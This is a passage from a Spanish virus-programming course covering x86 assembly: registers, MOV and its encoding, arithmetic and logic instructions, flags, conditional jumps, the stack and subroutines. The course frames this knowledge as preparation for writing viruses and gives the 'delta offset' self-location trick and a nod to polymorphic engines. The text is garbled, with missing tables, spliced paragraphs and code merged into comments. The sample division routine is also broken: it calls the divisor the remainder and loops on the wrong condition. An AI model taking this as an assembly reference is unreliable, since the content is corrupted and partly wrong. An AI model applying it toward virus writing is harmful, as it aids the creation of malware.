representan con una "b" al final del bloque de 0's y 1's.
-Notación hexadecimal (común): La más común, sólo tiene dos reglas: la primera, que ha de
añadirse una "h" al final del número para distinguir que es hexadecimal. En segundo lugar, si
la primera cifra es una letra (por ejemplo, ABCDh), se ha de incluir un 0 al principio (lo cual
indica que se trata de un valor numérico al compilador; la forma correcta pues sería escribir
0ABCDh).
Este, es el capítulo más largo probablemente del curso de programación de virus. Programar
en ensamblador no es fácil, pero cuando se le coge el tranquillo es extremadamente
gratificante; estás hablando directamente con la máquina, y aquello que le pides, ella lo hace.
El control, es absoluto... nada mejor pues, a la hora de programar virus o cualquier tipo de
aplicación crítica.
Procesadores CISC/RISC
Según el tipo de juego de instrucciones que utilicen, podemos clasificar los
microprocesadores en dos tipos distintos:
Existen dos formas de almacenar datos en memoria, llamados Little Endian y Big Endian. En
el caso de los Big Endian, se almacenan tal cual; es decir, si yo guardo en una posición de
memoria el valor 12345678h, el aspecto byte a byte de esa zona de memoria
será??,12h,34h,56h,78h,??
En las arquitecturas tipo 80x86 (esto es, tanto Intel como AMD o Cyrix, que comparten la
mayoría de sus características en cuanto a registros e instrucciones en ensamblador),
tenemos una serie de registros comunes; con algunos de ellos podremos realizar operaciones
aritméticas, movimientos a y desde memoria, etc etc. Estos registros son:
ECX: Aunque este registro es como los anteriores (con divisiones CX, CH y CL), tiene una
función especial que es la de servir de contador en bucles y operaciones con cadenas.
EDX: Podemos dividir este cuarto registro "genérico" en DX, DH y DL; además, tiene la
característica de que es aquí donde se va a guardar parte de los resultados de algunas
operaciones de multiplicación y división (junto con EAX). Se le llama "puntero de E/S", dada su
implicación también en acceso directo a puertos.
ESI: Se trata de un registro de 32 bits algo más específico, ya que aunque tiene el sub-registro
SI (16 bits) refiriéndose a sus bits 0-15, este a su vez no se divide como lo hacían los anteriores
en sub-sub-registros de 8 bits. Además, ESI va a servir para algunas instrucciones bastante
útiles que veremos, como LODSX, MOVSX y SCASX (operando origen siempre)
EDI: Aplicamos lo mismo que a ESI; tenemos un "DI" que son los últimos 16 bits de EDI, y una
función complementaria a ESI en estos MOVSX, etc (el registro ESI será origen, y el EDI, el
operando destino).
EBP: Aunque no tiene ninguna función tan específica como ESI y EDI, también tiene su
particularidad; la posibilidad de que se referencien sus bits 0-15 mediante el sub-registro BP.
EIP: Este es el PC (Program Counter) o Contador de Programa. Esto es, que en este registro
de 32 bits (que no puede ser accedido por métodos normales) se almacena la dirección de la
próxima instrucción que va a ejecutar el procesador. Existe también una subdivisión como "IP"
con sus 16 bits menos significativos como con EBP, EDI, etc, pero no lo vamos a tener en
cuenta; en un sistema como Linux o Windows se va a usar la combinación CS:EIP para
determinar lo que hay que ejecutar siempre, y sólo en sistemas antiguos como Ms-Dos se
utiliza el CS:IP para ello.
ESP: Se trata del registro de pila, indicando la dirección a la que esta apunta (que sí, que lo de
la pila se explica más tarde).
Además de estos registros, tenemos otros llamados de segmento, cuyo tamaño es de 16 bits, y
que se anteponen a los anteriores para formar una dirección virtual completa. Recordemos en
cualquier caso que estamos hablando de direcciones virtuales, así que el procesador cuando
interpreta un segmento no está operando con nada; simplemente se hace que direcciones de la
memoria física se correspondan con combinaciones de un segmento como puede ser CS y un
registro de dirección como puede ser EIP. La función de estos registros de segmento es la
deseparar por ejemplo datos de código, o zonas de acceso restringido. Así, los 2 últimos bits en
un registro de segmento indican normalmente el tipo de "ring" en el que el procesador está
corriendo (ring3 en windows es usuario, con lo que los dos últimos bits de un segmento
reservado a un usuario serían "11"... ring0 es supervisor, con lo que los dos últimos bits de un
segmento con privilegio de supervisor serían "00")
-SS es el registro de segmento de pila, por lo que tal y como sucedía con
CS:EIP, la pila estará siendo apuntada por SS:ESP.
Usos de MOV
Vamos con algo práctico; la primera instrucción en ensamblador que vamos a ver en detalle.
Además, MOV es quizá la instrucción más importante en este lenguaje sicontamos la
cantidad de veces que aparece.
Esta operación copiará los 32 bits del registro EBX en el registro EAX (ojo, lo que hay en
EBX se mantiene igual, sólo es el operando de destino el que cambia). Ya formalmente, los
modos de utilizar esta operación son:
También hay una variante en la que se usa un registro base y un desplazamiento, esto es, que
dentro de los corchetes se señala con un registro la dirección, y se le suma o resta una
cantidad. Así, en MOV ECX,[EBX+55] estamos copiando a ECX el contenido de la dirección
de memoria suma del registro y el número indicado.
-MOV mem, reg: Igual que la anterior, pero al revés. Vamos, que lo que cogemos es el
registro y lo copiamos a la memoria, con las reglas indicadas para el caso en que es al
contrario. Un ejemplo sería MOV [24347277h], EDI
-MOV mem, imm: Exáctamente igual que en MOV reg, imm sólo que el valor inmediato
se copia a una posición de memoria, como por ejemplo MOV [EBP],1234h
La instrucción MOV no se acaba aquí; a veces, vamos a tener problemas porque hay que ser
más específico. Por ejemplo, la instrucción que puse como último ejemplo, MOV [EBP],1234h,
nos daría un fallo al compilar. El problema es que no hemos indicado el tamaño del operando
inmediato; es decir, 1234h es un número que ocupa 16 bits (recordemos que por cada cifra
hexadecimal son 4 bits). Entonces, ¿escribimos los 16 bits que corresponden a [EBP], o
escribimos 32 bits que sean 00001234h?.
Para solucionar este problema al programar cuando haya una instrucción dudosa como esta
(y también se aplicará a otras como ADD, SUB, etc, cuando se haga referencia a una
posición de memoria y un valor inmediato), lo que haremos será indicar el tamaño con unas
palabras específicas.
En el ensamblador TASM (el más utilizado para Win32/Dos), será con la cadena byte ptr en
caso de ser de 8 bits, word ptr con 16 bits y dword ptr con 32. Por lo tanto, para escribir 1234h
en [EBP] escribiremos MOV word ptr [EBP],1234h. Sin embargo, si quisiéramos escribir 32
bits (o sea, 00001234h), usaríamos MOV dword ptr [EBP],1234h.
Usando el NASM para linux, olvidamos el "ptr", y los ejemplos anteriores se convertirán
en MOV word [EBP],1234h y MOV dword [EBP],1234h.
Recordemos, una vez más, que un dword son 32 bits (el tamaño de un registro), un word 16
bits y un byte, 8 bits.
Referencia a segmentos
Cuando estamos accediendo a una posición de memoria (y no ya sólo en el ámbito del MOV),
estamos usando también un registro de segmento. Normalmente el segmento DS va implícito
(de hecho, si en un programa de ensamblador escribimos MOV DS:[EAX],EBX, al compilar
obviará el DS: para ahorrar espacio puesto que es por defecto). No obstante, podemos
indicar nosotros mismos a qué segmento queremos acceder siempre que hagamos una
lectura/escritura en memoria, anteponiendo el nombre del registro de segmento con un signo
de dos puntos al inicio de los corchetes.
Operandos de distinto tamaño
Vale, tengo un valor en AL que quiero mover a EDX. ¿Puedo hacer un MOV EDX,AL?.
Definitivamente no, porque los tamaños de operando son diferentes.
-MOVZX (MOV with Zero Extend): Realiza la función del MOV, añadiendo ceros al
operando de destino. Esto es, que si hacemos un MOVZX EDX, AL y AL vale 80h,
EDX valdrá 00000080h, dado que el resto se ha rellenado con ceros.
-MOVSX (MOV with Sign Extend): Esta forma lo que hace es, en lugar de 0s, poner
0s o 1s dependiendo del bit más significativo del operando de mayor tamaño. Es decir,
si en este MOVSX EDX, AL se da que el bit más significativo de AL es 1 (por
ejemplo, AL = 10000000b = 80h), se rellenará con 1s (en este caso, EDX valdría
FFFFFF80h). Si el bit más significativo es 0 (por ejemplo, AL = 01000000b = 40h), se
rellenará con 0s ( EDX será pues 00000040h).
6 - Ensamblador II
MOVs condicionales
Una nueva característica presente a partir de algunos modelos de Pentium Pro y en siguientes
procesadores de Intel, y en AMD a partir de K7 y posiblemente K6-3, son los MOVs
condicionales; esto es, que se realizan si se cumple una determinada condición. La
instrucción es CMOVcc, donde "cc" es una condición como lo es en los saltos condicionales (ver
más adelante), p.ej CMOVZ EAX, EBX.
Ahora que ya sabemos utilizar nuestra primera instrucción en lenguaje ensamblador puede
surgir una duda: ¿cómo entiende esta instrucción el procesador?. Es decir, evidentemente
nosotros en la memoria no escribimos las palabras "MOV EAX, EBX", sin embargo esa
instrucción existe. ¿Cómo se realiza pues el paso entre la instrucción escrita y el formato que
la computadora sea capaz de entender?.
En un programa, el código es indistinguible de los datos; ambos son ristras de bits si no hay
nadie allí para interpretarlos; el programa más complejo no tendría sentido sin un procesador
para ejecutarlo, no sería más que una colección de unos y ceros sin sentido. Así, se establece
una convención para que determinadas cadenas de bits signifiquen cosas en concreto.
08Bh, 0C3h
Supongamos que EIP apunta justo al lugar donde se encuentra el 08Bh. Entonces, el
procesador va a leer ese byte (recordemos que cada cifra hexadecimal equivale a 4 bits, por
tanto dos cifras hexadecimales son 8 bits, o sea, un byte). Dentro del micro se interpreta que
08Bh es una instrucción MOV r32,r/m32. Es decir, que dependiendo de los bytes siguientes se
va a determinar a qué registro se va a mover información, y si va a ser desde otro registro o
desde memoria.
El byte siguiente, 0C3h, indica que este movimiento se va a producir desde el registro EBX al
EAX. Si la instrucción fuera "MOV EAX, ECX", la codificación sería así:
08Bh, 0C1h
Parece que ya distinguimos una lógica en la codificación que se hace para la instrucción "MOV
EAX,algo". Al cambiar EBX por ECX, sólo ha variado la segunda cifra del segundo byte,
cambiando un 3 por un 1. Podemos suponer entonces que se está haciendo corresponder al 3
con EBX, y al 1 con ECX. Si hacemos más pruebas, "MOV EAX,EDX" se codifica como 08Bh,
0C2h. "MOV EAX,ESI" es 08BH, 0C6h y "MOV EAX,EAX" (lo cual por cierto no tiene mucho
sentido), es 08Bh, 0C0h.
El sentido pues de este apartado es entender cómo va a funcionar cualquier programa que
escribamos en lenguaje ensamblador; cuando escribamos nuestros programas, utilizaremos un
compilador: una especie de traductor entre la notación en ensamblador que más se parece a
nuestro lenguaje con instrucciones como "MOV EAX, EBX" y la notación en bits, la que la
máquina entiende directamente. En realidad, podríamos considerar que ambos son el mismo
lenguaje; la única diferencia es la forma de representarlo.
Por supuesto, quien quiera meterse más a fondo en esto puede disfrutar construyendo
instrucciones por sí mismo jugando con estos bytes; es algo interesante de hacer en virus
cuando tenemos engines polimórficos, por ejemplo. Hay, de hecho, listas muy completas
acerca de cómo interpretar la codificación en bits que entiende la máquina, que pueden ser
consultadas sin problemas (en la propia web de Intel vienen toda una serie de tablas
indicando cómo se hace esto con todas y cada una de las instrucciones que entienden sus
procesadores).
Las operaciones con registros se dividen en dos tipos: aritméticas y lógicas. A las aritméticas
estamos muy acostumbradas, y son la suma, la resta, multiplicación, división... las lógicas
operan a nivel de bit, lo que las distingue de las aritméticas (si "a nivel de bit" resulta algo
oscuro, da igual, seguid leyendo).
Aunque hayamos mencionado cuáles son estas operaciones lógicas en el primer capítulo,
volvemos a repasarlas una a una y con detalle:
AND
El AND lógico realiza bit a bit una operación consistente en que el bit resultado es 1 sólo si los
dos bits con los que se opera son 1. Equivale a decir que el resultado "es verdad" si lo son los
dos operandos.
Actuará así con cada uno de los bits de los dos operandos, almacenando en el de destino el
resultado. Por ejemplo:
10001010
La forma de utilizar el AND es muy similar al MOV que ya hemos visto; algunas formas de
utilizarlo podrían ser //AND EAX,EBX//, o //AND EAX,[1234h]//, o //AND ECX,[EDX]//, etc.
El resultado se almacena en el operando de destino, esto es, EAX en los dos primeros casos y
ECX en el tercero.
OR
El OR lógico también opera bit a bit, poniendo el resultado a 1 si al menos uno de los dos bits
con los que operamos están a 1, siendo lo mismo que decir que el resultado es "cierto" si lo es
al menos uno de sus constituyentes.
10001010 OR 11101010
11101010
La forma de utilizarlo es el común a todas las operaciones lógicas, como el AND mencionado
anteriormente.
XOR
La operación XOR, operando bit a bit, da como resultado un 1 si uno y sólo uno de los dos bits
con los que se opera valen 1, es por ello que se llama OR exclusivo o eXclusive OR:
01100000
NOT
Esta operación sólo tiene un operando, puesto que lo que hace es invertir los bits de este
operando que evidentemente será de destino:
Operaciones aritméticas
En los procesadores 80x86, tenemos una buena gama de operaciones aritméticas para cubrir
nuestras necesidades. Estas son, básicamente:
ADD
ADD significa añadir. Tendremos con esta instrucción las posibilidades típicas de operación;
sobre memoria, sobre registros, y con valores inmediatos (recordando que no podemos operar
con dos posiciones de memoria y que el destino no puede ser un valor inmediato). Así, un
ejemplo sería:
Algo tan sencillo como esto añade 1412h hexadecimal a lo que ya hubiera en EAX,
conservando el resultado final en EAX. Por supuesto podemos usar valores decimales (si
quitamos la h a 1412h, sumará 1412h decimal... creo que no lo mencioné, pero esto vale
siempre, tanto para MOV como para cualquier otra operación lógica o aritmética). Otros
ejemplos podrían ser //ADD ECX, EDI// (sumar ECX y EDI y almacenar el resultado en
ECX), //ADD dword ptr [EDX], ESI// (coger lo que haya en la dirección de memoria cuyo valor
indique EDX, sumarle el valor del registro ESI y guardar el resultado en esa dirección de
memoria), etc.
SUB
Esta es la operación de resta; las reglas para utilizarla, las mismas que las del ADD. Tan sólo
cabría destacar el hecho de que si estamos restando un número mayor a uno menor, además
de una modificación en los FLAGS para indicar que nos hemos pasado, lo que sucederá es que
al llegar a 0000 en el resultado el siguiente número será FFFF. Es decir, que al pasarnos por
abajo del todo el resultado comienza por arriba del todo.
Lo mismo sirve para el ADD cuando sumamos dos números y el resultado no es representable
con el número de bits que tenemos. Si hicieramos 255 + 1 y el máximo representable fuera
255 (o FFh en hexadecimal, usando 8 bits), el resultado de 255 + 1 sería 0.
Como decía, las posibilidades para usar el SUB son como las del ADD, con lo que también es
válido esto:
Los ejemplos mencionados con el ADD también valen: //SUB dword ptr [EDX], ESI// va a
restar al contenido de la dirección de memoria apuntada por EDX el valor almacenado en ESI,
y el resultado se guardará en esta dirección [EDX]. //SUB ECX, EDI// restará al valor de ECX
el de EDI, guardando el resultado en el registro ECX.
MUL
MUL CL: Coge el valor de CL, lo multiplica por AL, y guarda el resultado en AX.
MUL word ptr [EDX]: Obtiene los 16 bits presentes en la dirección de memoria EDX (ojo, que
el tamaño de lo que se escoge lo indica el "word ptr", EDX sólo indica una dirección con lo que
aunque sean 32 bits esto no influye, el tamaño, repito, es determinado por el "word ptr").
Una vez coge esos 16 bits los multiplica por AX, y el resultado se va a guardar en DX:AX. Esto
significa, que los 16 bits más significativos los guarda en DX y los 16 menos significativos en
AX. Si el resultado de la multiplicación fuera //12345678h//, el registro DX contendría
//1234h//, y el registro AX, //5678h//.
MUL ESI: Coge el contenido del registro ESI, y lo multiplica por EAX. El resultado es
almacenado en EDX:EAX del mismo modo en que antes se hacía con DX:AX, sólo que esta vez
tenemos 64 bits para guardarlo. La parte de más peso, más significativa, se guardará en EDX,
mientras que la de menor peso será puesta en EAX. Si el resultado de ESI x EAX fuera
//1234567887654321h//, EAX contendría //87654321h// y EDX //12345678h. //
DIV
Por suerte, aunque a quien se le ocurrió esto de los nombres de las instrucciones fuera
anglosajón, siguen pareciéndose bastante al castellano; la instrucción DIV es la que se dedica
a la división entre números.
El formato de esta instrucción es muy similar al MUL, y va a tener también tres posibilidades,
con 8, 16 y 32 bits. En ellas, AX, AX:DX o EAX:EDX van a dividirse por el operando indicado en
la instrucción, y cociente y resto van a almacenarse en AL y AH, AX y DX o EAX y EDX,
respectivamente:
DIV CL: Se divide el valor presente en AX por CL. El cociente de la división se guardará en AL,
y el resto en AH. Si teníamos CL = 10 y AL = 6, al finalizar la ejecución de esta instrucción
tendremos que CL no ha variado y que AH = 4 mientras que AL = 1.
DIV BX: Se divide el valor de DX:AX por el de BX. El cociente que resulte de esto se guardará
en AX, mientras que el resto irá en DX. El dividendo (DX:AX) está formado de la misma
manera en que lo estaba el un MUL el resultado de una operación: la parte más "grande", los
bits más significativos, irán en DX mientras que los menos significativos irán en AX.
DIV dword ptr [EDI]: El valor contenido en la combinación EDX:EAX (64 bits) se dividirá por los
32 bits que contiene la dirección de memoria EDI; el cociente de la división se va a guardar en
EAX, y el resto en EDX.
INC y DEC
Tan sencillo como INCrementar y DECrementar. Estas dos instrucciones sólo tienen un
operando que hace al tiempo de origen y destino, y lo que hacen con él es "sumar uno" o
"restar uno":
DEC dword ptr [EDX]: Obtiene el valor de la posición de memoria a la que apunta EDX, le
resta 1 y almacena allí el resultado.
INC y DEC, como veremos cuando lleguemos a los saltos condicionales, se suelen utilizar
bastante para hacer contadores y bucles; podemos ir decrementando el valor de un registro y
comprobar cuando llega a cero, para repetir tantas veces como indique ese contador un trozo
de código, una operación en particular.
Ejecutable, Windows), tenemos el WinDasm, que tiene bastante bien organizado todo el tema
de tablas de importaciones, exportaciones y demás cositas de este tipo de formato. De nuevo,
os remito a la página de Darknode para obtenerlos, en esa sección de "Other virus related
stuff".
Por último, hay otro tipo de utilidad que nos puede servir, que son los visores hexadecimales.
En cierto modo son como debuggers pero que no desensamblan las instrucciones,
simplemente nos muestran sus valores hexadecimales y ascii (como la ventana de abajo del
Turbo Debugger, si recordáis). Algunos tienen alguna opción maja, aparte que para
comprobar algunas cosas rápidamente suelen ser útiles. Mi consejo, pues bajo Linux el BIEW
(http://biew.sourceforge.net/), y aunque no tengo URL de referencia (probar DarkNode),
para Windows el HIEW o el viejo DiskEdit de las Norton Utilities.
7 - Ensamblador III
Como ya vimos, hay un registro bastante especial que es el de flags; la traducción literal de
esta palabra es "bandera", y lo que significa realmente es que no se toma el valor de este
registro como una cantidad en sí misma, sino que cada uno de sus bits significa algo en
particular según su valor sea 0 o 1. El registro EFLAGS, de 32 bits, tiene como bits más
importantes los 16 menos significativos (EFLAGS viene de Extended Flags, se añadieron 16
bits para indicar algunas otras cosas).
La forma de acceder a estos registros será de forma implícita cuando hagamos saltos
condicionales (por ejemplo, hemos hecho una comparación entre dos términos y saltamos si
son iguales; la instrucción JE, Jump if Equal, comprobará por si misma el ZF o Zero Flag para
ver si ha de saltar o no), y de forma explícita con funciones de pila como PUSHF, POPF,
PUSHFD y POPFD, que serán explicadas en el apartado referente a la pila. De todas formas,
indicar ya que los únicos bits que se pueden modificar con un POPF son los 11, 10, 8, 7, 6, 4, 2
y 0 (y los 12 y13 si tenemos IOPL = 0, es decir, nivel de administrador... estos 12 y 13 indican
el nivel de ejecución del procesador).
Los bits que tienen puestos un "0" como indicador, no tienen función definida y conservan
siempre ese valor 0 (también sucede con el bit 1, que está a 1). Los más importantes, los
vemos a continuación:
- IOPL (12 y 13): IOPL significa "I/O priviledge level", es decir, el nivel de privilegio en
que estamos ejecutando. Recordemos que normalmente vamos a tener dos niveles de
privilegio que llamabamos de usuario y supervisor, o ring3 y ring0. Aquí podemos ver
en cuál estamos; si los dos bits están activos estamos en ring3 o usuario, y si están
inactivos, en ring0 (sólo pueden modificarse estos bits de los flags si estamos en ring0,
por supuesto).
-IF (9): El "Interrupt Flag", controla la respuesta del procesador a las llamadas de
interrupción; normalmente está a 1 indicando que pueden haber interrupciones. Si se
pone a 0 (poner a 0 se hace directamente con la instrucción CLI (Clear Interrupts),
mientras que STI (Set Interrupts) lo activa), se prohibe que un tipo bastante amplio de
interrupciones pueda actuar mientras se ejecuta el código del programa (viene bien en
algunas ocasiones en que estamos haciendo algo crítico que no puede ser
interrumpido).
-ZF (6): El Zero Flag, indica si el resultado de la última operación fue 0. Téngase en
cuenta que si hemos hecho una comparación entre dos términos, se tomará como si se
hubiera hecho una operación de resta; así, si los dos términos son iguales (CMP EAX,
EBX donde EAX = EBX p.ej), se dará que el resultado de restarlos es 0, con lo que se
activará el flag (se pondrá a 1). Tal y como sucede con CF y OF, este flag es afectado
por operaciones aritméticas (ADD, SUB, etc) y de incremento/decremento (INC/DEC).
+ 01h), este resultado no va a caber en un destino de 16 bits (el resultado es 10000h, lo cual
necesita 17 bits para ser codificado). Así pues, se pone este flag a 1. Hay también un flag
parecido, OF (11) (Overflow Flag), que actúa cuando en complemento a 2 se pasa del mayor
número positivo al menor negativo o viceversa (por ejemplo, de 0FFFFh a 0000h o al revés).
También nos interesará para ello el SF (7) o flag de signo, que estará activo cuando el número
sea negativo según la aritmética de complemento a dos (en realidad, cuando el primer bit del
resultado de la última operación sea un 1, lo que en complemento a 2 indica que se trata de un
número negativo).
Otros, de menor importancia (se puede uno saltar esta parte sin remordimientos de conciencia),
son:
-VM (17): Este flag controla si se está ejecutando en Virtual Mode 8086; cuando está a
0 se vuelve a modo protegido (el modo virtual 8086 se usa por ejemplo para ejecutar
las ventanas Ms-Dos bajo Win32).
-AF (4): Flag de acarreo auxiliar o "Adjust Flag". Se usa en aritmética BCD; en otras
palabras, pasad de él ;=)
-PF (2): Es el flag de paridad; indica si el resultado de la última operación fue par,
activándose (poniéndose a 1) cuando esto sea cierto.
-VIP (20), VIF (19), RF (16), NT(14): No nos van a resultar muy útiles; para quienes
busquen una referencia, sus significados son "Virtual Interrupt Pending", "Virtual
Interrupt Flag", "Resume Flag" y "Nested Task".
Instrucciones de comparación
Los flags son activados tanto por las instrucciones de operación aritmética (ADD, SUB, MUL,
DIV, INC y DEC) como por otras dos instrucciones específicas que describo a continuación:
-TEST: Tal y como CMP equivale a un SUB sin almacenar sus resultados, TEST es
lo mismo que un AND, sin almacenar tampoco resultados pero sí modificando los
flags. Esta instrucción, sólo modifica los flags SF (Signo), ZF (Cero) y PF (Paridad).
La instrucción JMP es la que se utiliza para un salto no condicional; esto, significa que cuando
se ejecuta una instrucción JMP, el registro EIP que contiene la dirección de la siguiente
instrucción a ejecutar va a apuntar a la dirección indicada por el JMP.
-Salto cercano o Near Jump: Es un salto a una instrucción dentro del segmento
actual (el segmento al que apunta el registro CS).
Un "Jcc" es un "Jump if Condition is Met". La "cc" indica una condición, y significa que
debemos sustituirlo por las letras que expresen esta condición.
A continuación se especifican todos los posibles saltos condicionales que existen en lenguaje
ensamblador. Algunas instrucciones se repiten siendo más de una forma de referirse a lo
mismo, como JZ y JE que son lo mismo (Jump if Zero y Jump if Equal son equivalentes). En
cualquier caso hay que tener lo siguiente en cuenta:
-Puede resultar extraño el hecho de que hay dos formas de decir "mayor que" y "menor
que". Es decir, por un lado tenemos cosas como JB (Jump if Below) y por otro JL (Jump
if Less). La diferencia es que Below y Above hacen referencia a aritmética sin
signo, y Less y Greater hacen referencia a aritmética en complemento a dos.
-Hay un tercer tipo de salto condicional, que comprueba directamente el estado de los
flags (como pueda ser el de paridad). Entre ellos incluímos también dos especiales;
uno que considera si salta dependiendo de si el valor del registro CX es 0 (JCXZ) y
otro que considera si el valor de ECX es 0 (JECXZ).
JNC, JNB, JAE Jump if Not Carry, Jump if Not Below, Jump if Above or Equal CF = 0
JNAE, JB, JC Jump if Not Above or Equal, Jump if Below, Jump if Carry CF = 1
JO Jump if Overflow OF = 1
JP, JPE Jump if Parity, Jump if Parity Even PF = 1
JS Jump if Sign SF = 1
JCXZ Jump if CX is 0 CX = 0
8 - Ensamblador IV
A estas alturas del curso de ensamblador, creo que estamos abusando mucho de la teoría;
ciertamente esto es ante todo teoría, pero no está de más ver un ejemplo práctico de programa
en el que usamos saltos condicionales y etiquetas. El programa escrito a continuación, imita
una operación de multiplicación utilizando tan sólo la suma, resolviéndolo mediante el algoritmo
de que N * M es lo mismo que (N+N+N+...+N), M veces:
; Suponemos que EAX contiene N, y EBX, contiene M. xor edx,edx ; Aquí vamos a almacenar
el resultado final. La operación xor edx,edx hace EDX = 0. LoopSuma: ; Esto, es una etiqueta
add edx,eax ; A EDX, que contendrá el resultado final, le sumamos el primer multiplicando dec
ebx jnz LoopSuma ; Si el resultado de decrementar el multiplicando EBX es cero, no sigue
sumando el factor de EAX.
Un programa tan sencillo como este, nos dará en EDX el producto de EAX y EBX. Veamos
uno análogo para la división:
; Suponemos que EAX contiene el dividendo y EBX el resto. xor ecx,ecx ; ecx contendrá el
cociente de la división xor edx,edx ; edx va a contener el resto de la división RepiteDivision: inc
ecx ; incrementamos en 1 el valor del cociente que queremos obtener sub eax,ebx ; al
dividendo le restamos el valor del divisor cmp eax,ebx ; comparamos dividendo y divisor jna
RepiteDivision ; si el divisor es mayor que el dividendo, ya hemos acabado de ver el cociente
mov edx,eax
Se ve desde lejos que este programa es muy optimizable; el resto quedaba en EAX, con lo
que a no ser que por algún motivo en particular lo necesitemos en EDX, podríamos prescindir
de la última línea y hacer que el cociente residiera en ECX mientras que el resto sigue en
EAX. También sería inútil, la línea "xor edx,edx" que pone EDX a cero, dado que luego es
afectado por un "mov edx,eax" y da igual lo que hubiera en EDX.
Hemos visto, además, cómo hacer un bucle mediante el decremento de una variable y su
comprobación de si llega a cero, y en el segundo caso, mediante la comprobación entre dos
registros; para el primer caso vamos a tener en el ensamblador del PC un método mucho más
sencillo utilizando ECX como contador como va a ser el uso de la instrucción LOOP, que
veremos más adelante, y que es bastante más optimizado que este decremento de a uno.
La pila
La pila es una estructura de datos cuya regla básica es que "lo primero que metemos es lo
último que sacamos". El puntero que indica la posición de la pila en la que estamos es el
SS:ESP, y si pudiéramos verlo gráficamente sería algo como esto:
¿Qué significa este dibujo? Que SS:ESP está apuntando a ese byte de valor 91h; los valores
que vienen antes no tienen ninguna importancia (y dado que esta misma pila es utilizada por el
sistema operativo cuando se produce una interrupción, es improbable que podamos considerar
"fijos" estos valores que hayan en el lugar de las interrogaciones).
La primera instrucción que vamos a ver y que opera sobre la pila, es el PUSH, "empujar".
Sobre el dibujo, un PUSH de 32 bits (por ejemplo un PUSH EAX) será una instrucción que
moverá "hacia atrás" el puntero de pila, añadiendo el valor de EAX allá. Si el valor del
registro EAX fuera de 0AABBCCDDh, el resultado sobre esta estructura de un PUSH EAX
sería el siguiente:
Un par de cosas a notar aquí: por una parte sí, el puntero se ha movido sólo (y seguirá
moviéndose hacia la izquierda - hacia "atrás" - si seguimos empujando valores a la pila). Por
otra, quizá resulte extraño que AABBCCDDh se almacene como DDh, CCh, BBh, AAh, es
decir, al revés. Pero esto es algo común; cuando guardamos en alguna posición de memoria
un dato mayor a un byte (este tiene cuatro), se van a almacenar "al revés"; este tipo de
ordenación, se llama little endian, opuesta a la big endian que almacena directamente como
AAh BBh CCh DDh un valor así.
La instrucción PUSH, en cualquier caso, no está limitada a empujar el valor de un registro:
puede empujarse a la pila un valor inmediato (p.ej, PUSH 1234h), y pueden hacerse
referencias a memoria, como PUSH [EBX+12].
Ahora, no sólo querremos meter cosas en la pila, estaría interesante poder sacarlas y tal. Para
ello, también tenemos una instrucción, el POP, que realiza la acción exáctamente opuesta al
PUSH. En particular, va a aumentar el puntero ESP en cuatro unidades y al registro o posición
donde se haga el POP, transferir los datos a los que se apuntaba. En el caso anterior,
volveríamos a tener el puntero sobre el 91h:
Otra cosa a tener en cuenta, es que la pila no es más que una estructura fabricada para
hacernos más fácil la vida; pero no es una entidad aparte, sigue estando dentro de la memoria
principal. Por ello, además de acceder a ella mediante ESP, podríamos acceder con cualquier
otro registro sin tener que utilizar las órdenes PUSH/POP. Esto no es usual, pero es bueno
saber al menos que se puede hacer. Si en una situación como la del último dibujo hacemos
un MOV EBP, ESP y un MOV EAX, SS:[EBP], el registro EAX pasará a valer 07A5F0091h.
Subrutinas
Luego, dentro de la propia rutina tenemos que devolver el control al código principal del
programa, esto es, al punto en el que se había ejecutado un CALL. Esto se hace mediante la
instrucción RET, que regresará al punto en que se llamó ejecutándose después la instrucción
que venga a continuación.
> mov eax,<valor1> mov ebx,<valor2> call Producto > [...] ; Suponemos que EAX contiene N, y
EBX, contiene M.
Producto:
xor edx,edx = ; Aquí vamos a almacenar el resultado final. La operación xor edx,edx hace
0. EDX
Cuando llamamos a una subrutina, en realidad internamente está pasando algo más que
"pasamos el control a tal punto"; pensemos que se pueden anidar todas las subrutinas que
queramos, es decir, que pueden hacerse CALLs dentro de CALLs sin ningún problema.
¿Por qué? Pues por la forma en que funcionan específicamente estas instrucciones: -CALL, lo
que realmente está haciendo es empujar a la pila la dirección de ejecución de la instrucción
siguiente al CALL, y hacer un JMP a la dirección indicada por el CALL. Así, al inicio de la
subrutina la pila habrá cambiado, y si hiciéramos un POP , sacaríamos la dirección siguiente a
la de desde donde se llamó.
-RET, lo que va a hacer es sacar de la pila el último valor que encuentre (nótese que
no sabe que ese sea el correcto, con lo que si en medio de la subrutina hacemos un
PUSH o un POP sin controlar que esté todo al final tal y como estaba al principio, el
programa puede petar), y saltar a esa dirección. En caso de que no hayamos hecho
nada malo, va a volver donde nosotros queríamos.
Jugar con esto nos va a ser muy necesario cuando programemos virus. Hay un sistema muy
standard de averiguar la dirección actual de memoria en que se está ejecutando el programa
(y que es necesario utilizar normalmente, a no ser que lo hagamos por algún otro método),
que funciona como sigue:
call delta_offset ; normalmente este método se llama "delta offset", que hace referencia a esta
dirección. delta_offset: pop ebp ; Ahora ebp tiene la dirección de memoria indicada por
"delta_offset" en el momento actual.
No abundaré en más detalles; sólo, que esta es la mejor forma de saber cuánto vale el
registro EIP, lo cual nos va a ser de bastante utilidad al programar.
Para terminar, tenemos que hablar de la existencia de otra forma de RET que es IRET, retorno
de interrupción; la trataremos en el siguiente apartado junto con el uso de interrupciones por
ser un tanto especial.
Por otro lado, a veces veremos una opción que puede parecernos "extraña", y es que a veces
el RET viene acompañado de un número, por ejemplo, RET 4. El número que viene junto con
la instrucción, indica que además de sacar el valor de retorno de la pila tenemos que
aumentar el valor del puntero de pila en tantas unidades como se indique (téngase en cuenta
que 4, p.ej, representan 32 bits, o sea, un registro).
¿Cuál es el sentido de esto? Bien, una forma estándar de llamar a funciones consiste en lo
siguiente: si tenemos que pasarle parámetros, lo que hacemos es empujarlos en la pila y
después llamar a la función. Leemos los valores de la pila dentro de la subrutina sin cambiar el
puntero de pila, y cuando queramos regresar no sólo queremos que el RET saque su dirección
de retorno sino que además la pila aumente lo suficiente como para que la pila vuelva a estar
en su lugar, como si no hubiéramos empujado los parámetros.
Es decir, pongamos que hacemos PUSH EAX y PUSH EBX y luego un CALL . En esta leemos
directamente los valores empujados a la pila con un MOV ,[ESP+4] y MOV ,[ESP+8] (sí,
podemos leer así de la pila sin problemas y sin modificar ESP). Ahora, al volver queremos que
la pila se quede como estaba antes de ejecutar el primer PUSH EAX. Pues bien, entonces lo
que hacemos es escribir al final de la subrutina un RET 8, lo que equivale a los dos registros
que habíamos empujado como parámetros.
Como tampoco me voy a morir si lo hago, adaptaré el código anterior a esta forma de hacer
